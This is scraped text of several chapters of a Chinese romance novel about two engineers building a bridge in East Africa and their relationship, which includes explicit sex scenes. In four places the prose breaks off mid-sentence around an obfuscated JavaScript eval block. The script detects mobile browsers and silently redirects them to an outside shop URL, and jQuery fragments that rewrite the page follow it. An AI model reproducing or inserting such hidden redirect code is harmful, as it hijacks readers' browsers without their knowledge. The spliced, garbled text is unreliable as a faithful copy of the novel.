“怎么会耳鸣?”钟琂走过来,把沈时因的手拿下,没什么章法地给她揉了揉。 “可能是因为刚才太……” 快/感就像潮水一样漫过来,将沈时因淹没,释放以后的感觉就跟耳朵里被水堵住了有点像。沈时因摇头晃脑的,也像是想把里面的水排出来。 钟琂看得好笑,追问道:“太什么?” “太爽了。”沈时因脸色微红。她其实是很能坦荡面对自身欲/望的人,就像她也从来不觉得做一个踏实诚恳的人有什么丢脸的。 断断续续睡了一天,到了晚上沈时因反而睡不着。她把头枕在钟琂身上,开始给他讲起自己小时候的事。 “刚上小学那几年,我每天放了学都要去医院看望妈妈。看见的到处都是白色,闻到的也都是消毒水和药物的味道,我当时特别讨厌那些,可等妈妈有一天真的走了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897314|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我又开始怀念医院。” 钟琂手里缠绕着一绺沈时因的头发,他有一搭没一搭地用手指给她梳头,柔声问:“这是你十岁的事?” “应该是快到十岁的时候,当时觉得天都塌了,完全没想到更残酷的事还在后面。”沈时因絮絮叨叨地提起自己的父亲,“刚办完葬礼没多久,我爸爸说厂长要去其它城市开拓事业。作为左膀右臂,他也得跟去,等稳定下来就把我接过去。” “我和外婆就住在老房子里等,当时我们都以为马上要去很寒冷的城市生活,于是买了好多很厚的衣服,可惜最后一件也没穿上。学校里的合唱团也选了我,但我给音乐老师说我很快要搬去别的城市,没法参加后面的演出,也就没加入。” “可是没过几个月就有流言传回来,说我爸爸跟厂长的女儿在一起了,对方是头婚,不想当后妈,我爸爸铁了心想入赘,在未来老丈人面前承诺了不会带上我这个拖油瓶。我外婆当时听了特别生气,说这些同乡别的不会做,就知道嚼舌根。我也偷偷给爸爸打了电话,他说他会来接我,我也就相信了他。” 钟琂问:“那后来你们一直都还有联系?” 沈时因摇了摇头:“早就没有了,也就是妈妈去世后的第一年里他还会打电话和寄钱。再后来我放暑假,旁边的公园举办灯会,门票只要五块钱,全班的小朋友都去看了。我也想看,但是我爸爸答应了会陪我去一起去所以我就一直忍着没去。但直到暑假的最后一天他也没回来,当时外婆说要带我看,可我只顾着闹脾气,不管她怎么劝我拽我都死活不出门。没想到开学之后班里全都在讨论这个,语文老师布置的第一个作业也是写关于灯会的作文,我都没看,当然一个字都写不出来。等我放学之后再着急忙慌地去买门票,结果人家都撤了。” “那你后来是怎么写的作文?” “凭想象呗。好多东西都是自己瞎编的,我那时候攒着股气性,怎么都不愿意去问同学,后来交上去果然被老师批评了。但是我也没说自己没去看,就硬生生地站在那里挨骂。小孩子的自尊心真可怕。” 钟琂说:“这一点都不可怕,这很正常。” “也就是在这件事之后,我就彻底跟我爸断了联系。我当时只顾着埋怨他,他打来好多电话我都故意不接,没过多久他就不打了,我再打过去已经变成了空号。我在那几年里特别后悔,总是会想是不是只要我不耍脾气、接了电话他就还会继续做我的爸爸,但长大之后的我想通了,他其实早就想找个理由撇下我,不是这次也会有下次。我从来没搬过家,他要是真的放不下我早就该找过来了,不会只因为几个电话没接就放弃。” 沈时因坐了起来,她很郑重地对钟琂说:“所以我很早就下定了决心,不论身处什么样的关系里,我永远都不要做被抛下的那个人。” 57.第 57 章 沈时因后来还是睡着了,小夜灯还亮着,钟琂也还在给她梳头。 沈时因严重怀疑她是自己把自己给哄睡着了,她讲着讲着就觉得这些事情太多太累,浑身都涌起一股倦意,随后靠在小兔子身上,找了个舒服的姿势入睡。 大概到了凌晨,她感觉到有人在亲她的脸,钟琂很小声地在她耳边说:“我得回去拿几件衣服过来,能不能把你的衣柜腾出一点位置给我?” 沈时因翻了个身,昏昏沉沉地说:“你随便放吧……最右边抽屉的书下面有把备用钥匙。” 连沈时因自己也没察觉到,她在不经意之间做了一个多么重大的决定。钟琂整个人也顿住,沈时因居然主动把钥匙给他了,那这就是意味着他以后可以自由进出沈时因的宿舍。 钟琂心跳如鼓地打开抽屉,摸出那把钥匙,小心地收进外套口袋。 还在睡梦中的沈时因对此浑然不觉,她一觉睡到了天亮,外面的雨总算停了,放晴的天空碧蓝如洗,熹微晨光丝丝缕缕地洒进房间。 沈时因躺在床上,隔着蚊帐看见钟琂正站在衣柜旁边系领带,他今天穿得很正式。 “你……”沈时因有点恍惚,“一晚上没睡觉?” “睡完起来了。”钟琂打好领带,又很厌烦似地扯松了一点。他似乎很不喜欢戴领带,就连平时穿衬衣也总是会解开最上面的扣子。 “你还能再睡两个小时。我们上午要跟国内的人一起开发布会,为了适应国内时间才这么早。” 沈时因手脚并用地抱住小兔子,闭着眼睛问:“什么发布会?” “关于跨海大桥的,设计方案和技术要点都整理出来了,要做详细的汇报说明。主要是让他们拨款。”钟琂说。 跨海大桥算是一个高艰深工程,参与讨论的应该还会有第三方的公证和金融机构,涉及到的金额想必也会十分巨大。沈时因隐隐感觉到这是一件很重大的事情,于是给他打气道:“那你加油,祝你旗开得胜。” 钟琂笑了笑,他掀开蚊帐,弓身在沈时因的额头亲了一下,“你的衣服我送去洗衣房了。锅里还给你留了早饭,记得吃。” 说完,钟琂打开门走出去。 沈时因所住的宿舍楼类似于大学寝室,每层楼有二十多个单间。但她的宿舍在最末端,刚好位于一个转角,旁边就是消防楼梯,因此出入时很隐蔽。再加上钟琂早出晚归,又从不坐电梯,所以还没有被任何人撞上过。 沈时因又睡了一觉起来,时间也才刚到七点。她洗漱完回来打开衣柜,正想找找今天要穿的衣服,结果猝不及防地看见钟琂的衣物被整齐地码放在角落里。 钟琂把原本有点凌乱的衣柜重新做了整理,将自己和沈时因的区域做了明显区分,他的几件衬衣和西装外套都挂了起来,裤子则被叠成了豆腐块,上面还放着几条平角内裤。 沈时因的脸腾地一下就烧了起来,即便已经做过更亲密的事,但这一幕的冲击力依旧巨大。房间里只有沈时因一个人,她往前倾着上身,钻进钟琂的衣服里,感觉到独属于他身上的气息,很干净也很好闻,就像能把她包裹住。 沈时因换好衣服走到桌前,打开插着电的小锅锅盖,蒸屉上面放着几个小笼包,旁边还有一杯咖啡。钟琂自己平时喜欢吃面包,大概是为了将就沈时因的习惯变成了中西结合。 沈时因惊讶地发现自己居然有点想钟琂了,虽然不久之前他们还抱在一起睡觉。 吃完早饭,沈时因收拾了几件衣服和生活用品,下楼来到停车场。有个同事走过来搭话,说钟琂和其他核心人员还在做报告,不知道什么时候才能结束。 从平日里相熟同事的口中听见钟琂的名字,沈时因有点不自在地摸了摸鼻子,“那我们就先过去。” 一般要去现场的话都是司机开两辆中巴车,其他人谁能开车就主动请缨坐上驾驶位,剩下的人再一窝蜂地看哪有位置就坐哪,一般不会留意谁坐了谁的车,反正都是公家的。 胡定荣已经抢先占了一个位置,他摇下车窗说:“沈工,那我就先过去了,一会儿见!” 沈时因挥了挥手,自己也随便找了辆车坐上去。 到了现场,大家还是按照固定流程先去库房拿设备。沈时因走进去看见其中一个全站仪被放在一边,始终没人动。 “这个是不是坏了?”沈时因问库管。如果坏了就应该做登记,再运回去维修。 库管人员看了看手里的册子说:“没坏,就是那天钟琂说先别调试,他要拿出去再用用。后来我们就没人敢去动。” 沈时因注意到三脚架上被贴了一个标记,是刚贴上的。她忽然心念一动,猜到了钟琂大概做过什么。他应该记住了这个全站仪的特征,做了标记之后拿出去,凭记忆放在沈时因当时的位置上,在没被调试过的情况下就能最大限度地还原她当时看见了什么。 原来他那个时候就确认过了,不过这只能印证其中一部分怀疑,所以他后来才会在车里故意追问。 沈时因撕下上面的便笺贴纸,对库管说:“没事了,可以正常使用。” 过了中午,钟琂和张士明以及十几个基地高层才姗姗来迟。沈时因算了算时差,推断出钟琂大概已经工作了八个小时,这相当于国内一个完整的工作日。 在场的所有人都屏息凝神地望着他们,都在等一个结果。拨款的多少取决于跨海大桥的设计规模和使用材料,这与每一个参与建设的人员都息息相关。 张士明下车之后有意卖起关子,来回走了几圈,就是不说。 有人等不及了,大声喊道:“老张,你赶紧说,拨款到底下不下得来?” 张士明这时候望着海面,捋了捋并不存在的胡须,“这个嘛,你们尽管大着胆子干,不用担心预算!” 此起彼伏的欢呼声都快被沈时因淹没了,她在兴高采烈的人群里第一时间找到钟琂,与他的眼睛产生交汇。这说明钟琂这段时间的付出都得到了回报,这也是他们共同努力的结果。 张士明抬起手往下压了压,示意大家安静,“可别提前开香槟。恰恰是投入得多,说明公司和国家对我们寄予厚望,这也就需要我们的齐心协力。可别拿着这么多钱最后修出个四不像来,那丢脸就丢大了。” 有钟琂坐镇,怎么可能修出个四不像?众人齐齐“嗐”了一声,但还是散了开来,开始各司其职地做事。钟琂清了清嗓子,状若无意地说:“结构工程师在吗,过来一下我有事要问。” 沈时因自动出列,跟着钟琂来到他的车里。他的车停在最边上,面朝大海,是个很隐蔽的位置。 沈时因刚关上车门,手腕就被人拉着拽了过去,她抱着钟琂的脖子,和他陷入了长久的、缠绵的亲吻之中。 耳边是唇齿交缠的靡靡之音,钟琂的手从她的脸滑到她的腰间,从衣服下摆里伸进去摩挲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928445|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈时因侧身坐着,呼吸越来越急促,她把钟琂往外推了一点,头靠着他的颈窝喘气。等休息好了,就又是下一次的缠绵。 断断续续接了好几次吻,钟琂拿出电脑打开,像是终于想起了叫她过来的正事,“水位变化大吗?” 沈时因回想片刻说:“我们早上到了的第一件事就是验水位,虽然涨了不少,但还是没超过之前预留出的通航高度。现在被太阳晒了大半天,估计又降了。” 钟琂点了点头,接收到沈时因发过来的表格,标注在了文档里。 合上电脑,钟琂说:“接下来的一段时间我都要忙着画设计图。我们打算等雨季一过,也就是七月份正式开工。” 他们所处的东非高原是很典型的热带草原气候,三至六月正值雨季。因为在南半球,所以即便靠近赤道但气候也与国内截然不同。湿冷的雨天,再加上高海拔的地势,风雨交加是最近的常态。 沈时因过了几秒才反应过来钟琂在给她报备行程,她连忙说:“没关系。你忙你的,不用管我。” 沈时因大义凛然地想,在为人类谋福祉的关键时刻,怎能耽于儿女情长呢? 钟琂说:“以后的临时会议可能也都会挪到这边的办公区,好多人会搬过来,我还是看你。你如果想住生活区我就陪你留下来,你想回园区的话也提前跟我说,我们一起回去。“ 沈时因和他靠在一起,时不时摸摸他的手,或是亲亲他的下巴,她以前谈恋爱明明没这么黏人的。 沈时因还是觉得回去住方便点,“我打算在这里午休,但晚上还是回去。除非是遇到通宵打灰那种特殊情况。” 钟琂:“这样也好。反正有高速公路了,路程不算远。” 两个人静静地坐在一起,没再说话。考虑到应该没什么事了,沈时因踟蹰着说:“那我走了?” 钟琂喉结一动,只说了声“嗯”。 沈时因把手放在门把上,依依不舍地回望了一眼,钟琂也正好看过来,视线在空中交错。 下一秒,他们同时靠近对方,又难舍难分地吻到了一起。分开的那一刻沈时因觉得好难,他们应该制定一个规定,比如只能在宿舍里亲亲,否则整个人都会变成乱七八糟,沦为欲/念的奴隶。但每次话到嘴边,沈时因又会贪恋于这片刻的欢愉。 就这样,钟琂进入到了繁忙的设计阶段。每次一起回到园区,钟琂总要被迫与沈时因分别,独自去办公楼的画图室加班,到了深夜,他会携着一身的更深露重回到房间,站在床边脱下衣服,也卸下一身的风雨和疲惫,钻进沈时因的被窝,汲取她的体温。 沈时因被缠得常常痉挛,有好几次快到的时候还把钟琂的背抓得留下了许多指印。她有一次累极了昏睡过去,半夜醒来又懊悔地走下床找医药箱,想给钟琂的后背涂药。 钟琂一截精瘦的手臂横在半空中,沈时因本来以为他要等自己躺下来之后抱她,可等她躺下了,钟琂的手还是没放下来。 “你总举着手干什么?”沈时因问。 “你刚才掀开蚊帐了,我怕有蚊子进来咬你。” 沈时因:“所以你在帮我吸引火力?” 钟琂把被子往上掖了掖,确定沈时因盖好了以后才说:“对,来咬我的话我可以把它们赶出去。” 沈时因躺在钟琂怀里,心里却觉得很神奇。他们明明才刚在一起,相处方式却像在一起了好多年那样默契。 58.第 58 章 没过多久,总部的第一笔拨款到了。 整个现场一片喜气洋洋,张士明当场从上海工厂下了批远洋订单,扬言要从围堰起就做史上最好最坚固的围堰。沈时因走进食堂,发现伙食也异常丰盛,会议室也购入了高级投影仪和幕布,放起概念图来每个细节都清晰明了。 这天上午,大多数项目组成员都聚集在了会议室,没有开灯的室内,所有眼睛都聚集在了大屏幕上。那里正在放映钟琂设计出的第一版概念图。 所有人的第一感觉就是漂亮,那一道道悬索像从天空飞流直下的瀑布,也像随时要展翅高飞的羽翼,它们将主体的桥面拉起,力道被平均分散到每一道悬索和下方被隐形的桥墩里。如果真的能成功建成,这会是一道极其靓丽的城市风景线。 张士明看完以后沉默良久,他眉头紧皱地看向沈时因,“结构方面能行吗?这就跟三百斤的大胖子长着四条小胳膊细腿一样,看得我胆战心惊。” 沈时因的大脑还在飞速运转,她不太确定地说:“需要建个模型看看,水里的情况也得去实地考察。” 其他的技术员也基本都是这个态度,想法是好的,概念图也是震撼的,但实际操作还需要做进一步的确认。 会议就这样悬而未决地结束,沈时因心里像装了块石头,沉甸甸的。她刚走出来坐上快艇,看见钟琂也追了出来。他坐上船说:“我跟你一起过去看看。” 钟琂的眉间有些郁结,他有快艇驾驶证,因此不需要驾驶员帮忙开快艇。 沈时因手里拿着一个水波探测仪,随着快艇在钟琂手上缓缓驶出,她手里仪器上的数字在不断变大,坐在快艇上的人也能明显感觉到颠簸。 “浪太大了。”沈时因说,这就是跨海大桥和普通桥梁的最大区别,光是海浪对桥墩的冲击就不容小觑,这要求底部结构的抗倾覆能力极强。 钟琂的膝盖上放着电脑,他腾出只手拉了一个程序出来,把探测仪上的历史数据输入进去,现跑现run。 路程刚过半,也就是浪最大的区域过去,钟琂总算舒展了神色,“方案还是可行的。” “真的?”沈时因走过去一看,所有数字旁边果然都是绿色的。 钟琂长舒了一口气,抵达对岸,他问:“海底深度还需要测吗?” 沈时因摇了摇头,“那是另一组人的事,我只需要算出荷载系数。” “那就返程了?”钟琂问。 沈时因:“嗯。” 快艇返回以后停靠在岸边,钟琂说:“你上车,我们再去前面的浅滩看看。” 钟琂驾车往前开了二十多分钟,回到了公路的初始地点。到时候这段路会与大桥做连接,也会作为其中一个出入口。 “我脚下的地方会修匝道,这是一个预留的冷接缝。但延伸上去的天桥可能会遮挡一部分桥面。” 沈时因很认真地听着,“……会有什么不好的影响吗?” “当然会有影响,这样就不好看了。”钟琂回答得理直气壮。 沈时因被噎了一下,努力跟上钟琂的思路:“如果不想影响侧面的造型,那可以把延伸下来的角度拉大,这样就不会挡住了。可是桥面长路会变多。” 大多时候美观和实用就是无法两全。钟琂沉吟着走到沙滩,拿起手机对着即将建起大桥的海面拍了几张照,像是想再考虑考虑。 做完这些,他走到海滩边,用手比划着说:“当地政府还让我们把桥下的附属设施也顺便包了,打造成一个海滨公园。” 沈时因走过去,这是她当初和钟琂一起抓过海胆的地方,现在被清理一新,白色的沙子闪着光芒,做成公园应该会是一个很不错的决定。 “那要测地面深度和稳定性吗?”沈时因问。 “测吧,测完我好画图。”钟琂刚把仪器架好,天色忽地暗了下去。沈时因抬起头,发现遮天蔽日的乌云笼罩在了这片天空。 钟琂也察觉到了异变,他喃喃地说:“这鬼天气……” 暴风雨来势汹汹,上一秒才刚刚乌云密布,下一秒就响起了一阵炸雷,大雨随之倾盆落下。 “快上车。”钟琂拉着沈时因的手往回跑,他们在车的旁边分开,一左一右地拉开车门,矮身钻了进去。 钟琂打开了车里的暖风,从中控台里找出纸给沈时因擦头发。沈时因往前探着毛茸茸的脑袋,任由钟琂用纸巾给她吸干水分。 过了十来分钟,窗外的雨水不仅没有变小的趋势,反而越来越大。沈时因叹了一声:“雨季真烦。” “下个月就好了。这段时间的总降雨量超过了500毫米,正好也给我们提供一个最坏的范例。” 沈时因的头发差不多干了,身上还湿着。虽然也就淋了一两分钟的雨,但两人的状态或多或少有些狼狈。四面窗户都紧闭着,形成了一个密闭空间,再加上钟琂开了热风,所以即使外面下着狂风暴雨,车内也很快变成了一个桑拿房。 沈时因脱下外套,这种憋闷的感觉还是没有好转,“好热……” “那我换成凉风。”钟琂把温度调低,风口对准沈时因。 这下凉是凉快了,但吹了一会儿钟琂说:“再这样你会感冒的。你可以把衣服脱了,放在风口,等吹干了再穿上。” 沈时因无法理解钟琂是怎么做到用这样正常的语气说出并不正常的话,好像不论多么荒唐的提议只要配上他的严肃神情就能给人一种很合理的错觉。 沈时因咬着嘴唇,“那你怎么不脱,你里面的衣服也湿了。” 钟琂说:“我体质好,不容易生病。” “那不能光我一个人脱,这不公平。”沈时因说:“除非我们一起。” 钟琂的衬衣扣子多,等沈时因脱完了才看见他还在慢悠悠地解扣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941995|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。他还不知道从哪找出了一个小架子,把沈时因的长袖和内衣挂在出风口。 沈时因摸了摸自己的裤子,除了裤脚湿得比较多之外,其它地方还算比较干。 即便上身已经变得凉飕飕,但车里的空气仿佛更燥热了,沈时因舔了舔嘴唇,她往旁边偷瞄钟琂,“你在想什么?” 钟琂顿了顿,声音变得嘶哑低沉,“我想亲你……” 说完,他把座椅往后移了些,拍了一下自己的腿说:“你坐上来。” 沈时因刚撑起上身,钟琂就伸出手将她抱了过去。低矮的车顶让她不能挺直腰背,除了低下头去寻钟琂的唇,她好像别无他法。 钟琂略仰着一点头,承接着这个有些脱离计划的亲吻。 沈时因觉得大概没有什么只亲亲抱抱的说法,因为肌肤之亲会催生出情/欲,没过多久钟琂的手就不老实了。 触手皆是绵软滑腻,紧紧贴住的部分有了明显变化,互相抵着,沈时因很难去忽视它的存在。 沈时因的手也一路往下,熟练地解开了他的裤头纽扣。 雨水依旧敲打不息,落下的雨帘盖住了沈时因身后的玻璃,像是投下了一道天然的屏障,也遮住了里面的一室春光。 在这个与世隔绝的、无人注意到的地方,车身在雨中轻微耸动。那些细碎的叫声刚从口中溢出来便消弭在了雨中,除了对方谁也听不见。 完事之后沈时因靠在座椅上躺了许久才缓过劲来,他们以前就尝试过这个姿势,但可能是因为换了新地方,所以又是全然不同的新奇体验。紧张和兴奋并存,身体也变得异常敏感。 钟琂找出几张纸,给沈时因擦了擦。挂在出风口的衣物也干了,可雨还没停,也不知道什么时候会停。 “你还想测吗?”沈时因看向布满泥浆的沙滩。 钟琂说:“还测,雨水对浅滩的影响不大。” 那就还是得等雨停了。沈时因说:“那你饿不饿,我包里有巧克力。” “不饿,我也不喜欢吃甜食。”钟琂的视线渐渐往下移,笑着问她:“你今天怎么不请我吃红豆了?” “你刚才不是已经吃了么,我都没邀请你……” 结果是他们又在车里做了一次。钟琂大概还是没说实话,因为他不仅饿了还很爱吃甜食,仿佛不知餍足地品尝着沈时因的各个部位,还趴在她的两/腿中间,用唇舌给她清理湿濡。 沈时因紧紧攥着他的头发,被激起一层层的战栗,浑身抖个不停。她在心里祈求雨快点停,不然她就快不行了。 “你不想要你的车了?” 没有得到回应的沈时因提高了音量,“我快受不了了,你的车会被弄湿。” 钟琂还是没有理会,于是有一汩汩的水柱喷洒出来。等最后一波余韵过去,钟琂终于抬起了脸,用湿润的嘴唇称赞道:“这比巧克力好吃多了。” 59.第 59 章 雨停的时候沈时因整个人都有些虚脱,钟琂让她在车上休息,他自己提着设备下了车。 沈时因靠在车窗上,看着天上的云卷云舒,层峦叠嶂的云朵好像在和太阳捉迷藏,日光见缝插针地透下来,形成有规律的光束。 沈时因突然不觉得累了,她走下车,在快走到沙滩的时候脱了鞋,赤脚踩在柔软的平面上,留下一串脚印。 海面变得格外的亮,雨后的空气也特别清新,沈时因仰起脸,深吸了一口气。 “这简直像一座孤岛,”钟琂走过来,和她一起望向极高极远的天空,“整个世界好像只剩我们两个人了。” 沈时因看向钟琂,兴致勃勃地说:“我居然已经在期待海滨公园建成的那一天了,一定会很美。” 钟琂挑了挑眉,“是么,那你有什么想法?” “我的想法都能实现?” “我尽量。”钟琂说。 沈时因摸着下巴,当真思考起来。她往前跑出一段,转过身说:“我觉得这里可以修一段延伸到海里的步道。” 钟琂记下了她站立的坐标,打开手机备忘录,每个字都原封不动地记录下来。 “还得有一些装潢不错的氛围感餐厅,如果有乐队能来海边演出就更好了。” 钟琂指着右侧说:“这边是预留了底商的。至于海边乐队……那搭个台子就行了,但跳舞的人绝对不缺。只要音乐和彩灯到位,绝对会有附近的马赛人过来跳舞。” 沈时因在骤雨初歇的晴空里跑来跑去,时间仿佛变得很慢,她继续给钟琂说了很多自己的想法,最后赶在日落前和钟琂抱在一起,在海边接了一个长长的吻。 回到办公区的沈时因算是满载而归,她把记录好的数据全都拷贝进电脑,有一部分基础的处理工作可以交给胡定荣,她打算先回园区吃饭,晚上再抽时间慢慢建模,反正漫漫长夜……她也需要等钟琂。 令沈时因没想到的是,接下来的一周里她见到钟琂的次数都寥寥无几。他有时候大晚上地摸进沈时因的床,她都快睡着了,故意拿腔拿调地说:“你就像个采花贼。” 钟琂真的坐实了采花贼名头,但天不亮又会被工作叫走。早上起床的沈时因常常陷入恍惚,前一天晚上钟琂真的来过吗? “我小时候看过一篇作文,里面写一个小朋友每天睡着了他爸爸才回家,还没醒来他爸爸就走了,几个月都见不上一面。现在看来这作文不是编的,世界上真有这么忙的人。”有天晚上沈时因对钟琂这么说。 钟琂揉了揉她的头发,“过段时间就好了。” 沈时因这边的工作也取得了重大成效——她提议用钢丝绳分散荷载,一根根像火柴棍一样的钢棍遍布在桥面主体之下,经过提前张拉,既隐蔽又能传递拉力,很适合大跨度的结构。 这个方案得到了一致赞同,因为在最大程度上保留了钟琂的设计。但唯一的缺点是只能分担拉力,其它形式的力还需要别的更有效的方法来应对。 会议结束之后沈时因没急着走,她想把会议纪要再整理一遍,趁着脑子还清醒连贯。 不远处有几个老资历聚在门口抽烟,有一搭没一搭地复盘会议,言辞里尽是唉声叹气。 “昨天吵得那叫一个激烈,谁也不让谁,我们都不敢说话了。” 沈时因手里还在打字,她分神抬头看了一眼,什么也没说。 另一人搭腔道:“钟琂这脾气还是该改改。张士明再怎么说也是基地的负责人,否他一个方案怎么了,我们以前在设计院出十几版方案都是常有的事,谁敢说一句不是了?张士明带着我们这些元老刚来非洲的时候钟琂那小子还不知道在哪玩泥巴,怎么连尊老爱幼这种基本的道理都不懂?” “他又不是在中国长大的。资本家的孩子,从小没学过礼义廉耻,满脑子都是个人主义。” 沈时因从听见钟琂的名字起就停下了手里的动作。同事里有那么几个爱倚老卖老的人,平时在明面上还是尊重钟琂的。只不过他行事作风直来直去,大多数时候不太给人留情面,落在按资排辈的职场上显得尤其张狂,这些人心里大概积压着一些不满。 沈时因合上电脑,有意将图纸收得哗哗作响。门口的人听见声响往里一瞧,这才注意到还有人没走,面上一晒,夹着烟就互相推着往外走了。 沈时因收好电脑包,站起身才发现自己的心情异常沉重。她垂着头,陷入一阵沉思。 原来钟琂和张士明之间的分歧已经这么大了,他们前一天还爆发过激烈的争执,张士明态度很鲜明地要否决这个提案。可是钟琂在她面前什么也没表现出来。 前一天晚上他还过来跟她一起睡了,一切都很正常,今天早上也一起开着车过来,路上同样什么都没提。 沈时因理想中的关系不是这样的。她和钟琂之间应该相互扶持,发生了什么事也完全可以向对方倾诉,沈时因不是什么都不懂的职场新人。更何况她还是参与其中的重要一员,如果钟琂的方案可能面临重来,那她连日来的努力也会白费,他难道不应该提前说一声让她有个心理准备吗。 沈时因闷闷不乐地回到办公区,快一点了才去食堂吃饭。 食堂只有寥寥几人,沈时因环视一圈,当然没有钟琂的身影。她打完饭,转身看见曹光正独自一人坐在角落吃面条。 沈时因和他还算熟悉,这人也是个资历较老的核心层级。她想了想,端起餐盘坐到曹光对面,“这么晚才来吃饭啊?” 曹光抬起脸,看清来人之后笑着说:“是啊,上午忙忘了,等想起来的时候已经这个点了。” 曹光十几年前就扎根于非洲了,他在基地里认识了一名女翻译,两人从相恋到结婚,再到生子。如今儿子都快小学毕业了,就在园区里的学校上学。 上次两人遇见,曹光跟她聊了几句孩子的事,所以这次沈时因也顺理成章地提起了孩子,“小万最近怎么样了,没再跟同学打架了吧?” 曹光苦笑着说:“好多了。子弟学校就是这点不好,同学之间的父母也都是同僚,那孩子总说他爸爸的等级比我高,所以在学校里也想压小万一头,真是荒唐。我还在跟我媳妇商量,不行的话初中就还是回国上。” 沈时因点点头,“这样也好,园区里初中的教学水平可能也有点跟不上。现在社会竞争多激烈呀,我们不远万里地来建设非洲,辛苦熬了几个大夜的工作成果递上去,上面的人一个不乐意就打回来了。” “可不是么,”曹光叹了口气,“张工和钟琂争论不休,我们这些底下的人也只能闷头苦干。经常是一个想法就能让我们所有人多加一个月的班。” 沈时因皱起脸,小声问:“他们还在吵?” “吵着呢,上午还说要请外援,这两天可能又要跟国内专家开会。”曹光说:“张士明一心想求稳,钟琂更敢想敢拼,再加上年轻气盛,有点摩擦很正常。不过他们俩都不是会记仇的人,也都足够专业,不会迁怒无关的人,你不用太紧张。” 沈时因说:“那就好。最近开会的气氛都有点凝重,我还以为多大的事呢。” 曹光的面已经见底了,他站起身说:“反正底下的人听命办事就行了,火烧不到我们身上。那我就先走了啊。” 作别曹光,沈时因没什么食欲继续吃。她收起餐盘回到画图室,这一个下午都在伏案画图。 回去的路上还是跟钟琂一辆车,但将近一个小时的路程他全程都在戴着耳机接电话,中途还有一个是全英文的,听得沈时因昏昏欲睡。 好不容易的独处时间又是零交流,沈时因回到宿舍,坐立难安。她越想越不对,他们稀里糊涂地在一起已经有一段时间,可每天除了上床就是上床,钟琂什么也不对她说,这跟炮友有什么区别? 沈时因想要的并不是这样,或者说远远不止是这样。她喜欢钟琂,想了解他、爱他、珍视他,与之相对的是,她也希望能受到同样的对待。 晚上躺在床上,沈时因依旧心神不宁。时间都过十一点了,钟琂以前一般不会超过这个时间过来。既然曹光说他们的争执还没个定论,那钟琂今晚到底还来不来呢?重点是,沈时因还要不要等他? 沈时因心烦意乱地踢开被子,为什么总是她等?就像古代深宫宅院里等待被临幸的侍女。她连钟琂住在哪里都不知道,更没去过,万一他在房子里藏着另一个女人沈时因也无从得知。 就这样辗转反侧着,时间也一点一点地流逝,在这个寂静无声的夜里,沈时因忽然听到了一点门轴转动的声音。钟琂来了。 钟琂每次都洗完澡过来,他带着一身水气脱下衣服,掀开蚊帐钻进来。 沈时因两只眼睛都睁得很大,整个人精神抖擞,钟琂凑过来一看,语带笑意:“原来你没睡着,那刚才怎么不出声?” 说完,他把手伸进了沈时因的睡裙,人也覆了上来。 沈时因早有准备,举起兔子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960717|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩偶挡在中间,就是不让他亲。 “我想跟你聊聊。”沈时因抬出早就想好的说辞,正色道:“我认为除了身体上,我们还应该有情感上的交流。你对此是否有异议? 钟琂一愣,觉得有道理,于是躺了下来。他一只手拥着沈时因,闭上眼睛说:“没有异议。你想聊什么?” “随便什么都行,主要是闲聊。比如你可以先介绍一下你的家庭情况——家里有几口人,相处模式是怎么样的。再比如可以说说你的感情经历,还能讲讲你最近每天都在做些什么。” 夜晚很静谧,钟琂的声音也放得很轻,“我家里一共三口人,除了我就是我父母。我爸爸早年间在国内开房地产公司,也就是现在常说的开发商和业主,在工作中认识了我妈妈,她当时在大学里做建筑系的讲师。后来我妈妈去国外进修,我爸爸也开始转型做机械制造。后来有当地的大学向我妈妈抛出橄榄枝,我们全家也就移民过去了。我们家人的相处模式比较随意,一般是各忙各的,重大节假日才会特地聚在一起,他们对我的教育方式也是开明为主,很尊重我的想法。” 沈时因认真听完,好奇地问:“那有照片吗,我想看看。” 